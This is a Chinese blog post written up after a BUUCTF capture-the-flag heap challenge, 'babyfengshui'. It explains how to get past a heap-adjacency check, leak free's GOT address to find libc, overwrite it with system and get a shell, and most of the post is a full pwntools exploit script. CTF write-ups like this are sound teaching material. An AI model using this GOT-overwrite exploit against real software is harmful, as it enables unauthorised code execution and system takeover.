buuctf babyfengshui

日常堆题不会我啃了2天是个硬骨头~~
这道题
在这里插入图片描述
直接套调试过程

add(0x80,0x80,'aaa')
add(0x80,0x80,'bbb')
add(0x8,0x8,'/bin/sh')

在这里插入图片描述
清楚的看见chunk的位置改变了原来相邻的chunk发生的变化然后我们就绕过了

if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )// 这里听大佬说是不能将堆的一个东西写到另一个堆上面的保护机制但是这是物理相邻的保护
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }

发生了堆溢出直接覆盖到下一个struct然后改成将指针改成got表的free因为以前调用过free所以存上了真实的地址我们display就会输出free表的地址然后就可以得知libc的基址再更新free表为system地址然后free第三个堆块即可获取shell

from pwn import *
from LibcSearcher import *
import pwnlib
p=process('./babyfengshui')
def debug():
	pwnlib.gdb.attach(p)
#p=remote('pwn.buuoj.cn',20002)
#p=remote('111.198.29.45',55412)
elf=ELF('./babyfengshui')
def add(size,length,text):
	p.recvuntil('Action: ')
	p.sendline('0')
	p.recvuntil(': ')
	p.sendline(str(size))
	p.recvuntil(': ')
	p.sendline('aaaa')
	p.recvuntil(': ')
	p.sendline(str(length))
	p.recvuntil(': ')
	p.sendline(text)
def dele(dex):
	p.recvuntil('Action: ')
	p.sendline('1')
	p.recvuntil(': ')
	p.sendline(str(dex))

def update(idx,length,text):
	p.recvuntil('Action: ')
	p.sendline('3')
	p.recvuntil(': ')
	p.sendline(str(idx))
	p.recvuntil(': ')
	p.sendline(str(length))
	p.recvuntil(': ')
	p.sendline(text)
def show(idx):
	p.recvuntil('Action: ')
	p.sendline('2')
	p.recvuntil(': ')
	p.sendline(str(idx))
debug()
add(0x80,0x80,'aaa')
add(0x80,0x80,'bbb')
add(0x8,0x8,'/bin/sh')
dele(0)
add(0x100,0x19c,'a'*0x198+p32(elf.got['free']))

show(1)
free_addr=u32(p.recvuntil('\xf7')[-4:])
log.success('free-addr: '+hex(free_addr))
libc=LibcSearcher('free',free_addr)
system_addr=libc.dump('system')+free_addr-libc.dump('free')
update(1,0x4,p32(system_addr))
dele(2)
p.interactive()



师傅们带带我

发布了74 篇原创文章 · 获赞 9 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/qq_37433000/article/details/102313409